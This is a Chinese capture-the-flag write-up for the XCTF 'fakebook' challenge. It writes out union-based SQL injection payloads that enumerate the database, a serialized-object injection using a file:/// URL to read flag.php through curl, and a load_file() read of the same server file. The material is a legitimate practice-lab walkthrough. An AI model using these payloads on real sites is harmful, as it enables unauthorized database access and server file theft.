攻防世界—fakebook(两种方法)

发布于:2025-08-17 ⋅ 阅读:(15) ⋅ 点赞:(0)

一.审题

这边先进行测试,login和join都失败了,所以没获取到什么消息。

二.dirsearch工具扫描

所以拿dirsearch扫一下,看看有没有什么文件可以访问。

python3 dirsearch.py -u url

可以看到当前目录下存在flag.php,robots.txt等,访问flag.php,发现空白,所以flag应该是注释,接下去访问一下robots.txt

三.访问可疑文件

这边显示有一个不被允许的备份文件,访问看一下什么内容。

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

这边题目想给我们的是:同过url去传,并且对于blog有格式要求,需要在末尾拼接域名。

所以从这里我们就可以知道怎么去使用join的这个功能。

四.使用网站功能,寻找渗透点

查看源代码,发现有一个url可以点击跳转。所以我们继续浏览整个网站

发现有一个get方式的传参,参数为no,所以在次进行测试,方向:sql注入,伪协议,模板注入等

这边是sql注入。

五.采用sql注入

查看是否存在sql注入

1 and 1=1

正常显示。接下去确认有几行

1 order by 1
1 order by 2
1 order by 3
1 order by 4
1 order by 5
....

在order by 5时显示为错误,order by 4还是正常显示。

接下去看哪里有注入点

-1++union++select 1,2,3,4 

方法一:

发现在username下有个正常回显,所以注入点在这里

看数据库:

-1++union++select 1,database(),3,4

显示出数据库名:fakebook

接下去获取表Table:

?no=-1++union++select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'

成功获取到表:users

接下去查column:

-1++union++select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' and table_schema='fakebook'

接下去看一下data:

-1++union++select 1,group_concat(data),3,4 from fakebook.users

这边看到的是一个序列化的对象。我们这边是去提取数据库fakebook中表users的第四列data的值。

这边放一个对比,第一个图是单纯数据库有的数据,第三个是我们通过反序列化去进行拼接,username显示2是因为我们的占位符,显示这边有渗透点,然后第二个是四列都去使用占位符,所以我们这边就可以使用反序列化进行,让其去读取我们想要的文件

-1++union++select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27

通过查看页面的源代码可以获取到flag:

这边在放两个对比,第一个是通过我们数据库里我们自己join的序列化值去显示的,因为我们join的都是不存在的所以我们这边都是空,并且这边是使用base64进行编码的。

这边讲一下,为什么第四列的渗透为什么会使用这个file:///协议,这边是通过他的哪个bak文件中,代码中使用的是curl

方法二:

因为我们在进行测试时就确定第二列具有注入点,所以我们可以利用这个去看我们的sql版本以及一些信息。如:version(),user(),database()等

如这边发现他的权限是root权限,所以我们可以使用load_file()这个数据库函数

load_file() 是 MySQL/MariaDB 中用于读取服务器本地文件的内置函数,在 SQL 注入场景中常用于获取敏感文件内容。

user()这是 MySQL/MariaDB 的内置函数,用于返回当前数据库连接的用户信息(格式通常为 用户名@主机名,如 root@localhost)。这里用它替换了第二列的占位符,目的是获取数据库用户权限信息。

所以这边就通过得到他的版本为MariaDB并且权限为root最高权限,所以可以通过load_file()函数获取该flag.php

-1++union++select 1,load_file('/var/www/html/flag.php'),3,4

看一下源代码,出结果。

这道题目,我是看了wp的,在加上自己的总结,从这边还是学到不少东西,而且感觉这题就是每一步的设计都是很巧妙,环环相扣的感觉


网站公告

今日签到

点亮在社区的每一天
去签到